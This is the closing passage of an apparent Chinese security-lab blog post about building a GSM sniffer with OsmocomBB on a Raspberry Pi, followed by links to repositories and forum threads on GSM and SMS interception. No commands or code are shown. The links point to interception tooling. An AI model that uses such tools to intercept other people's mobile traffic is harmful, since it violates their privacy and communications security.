GSM嗅探不算什么最新技术,但是是一个无线安全的必经之路,设备都是ver007焊接我只是打下手,该文章也是为了记录操作过程,方便以后观看,设备也是花了不少时间才做完。上文作为学习,各位大神就别喷我了。设备后期还需要跟多更改和优化后期有时间会出一个详细的改后的文章,比如通过web 一键启动手机软刷机等等,还有很多地方需要修改。未完待续!!!
By:凌天实验室
2019-01-12-15472607941867

0x5 参考文献

https://github.com/K1two2/OsmocomBB_Raspberry-Pi_SMS_WEB_CODE
https://github.com/lxf94/GSM-Sniffer
https://www.freebuf.com/geek/160171.html
http://www.ver007.org
https://bbs.pediy.com/thread-182574.htm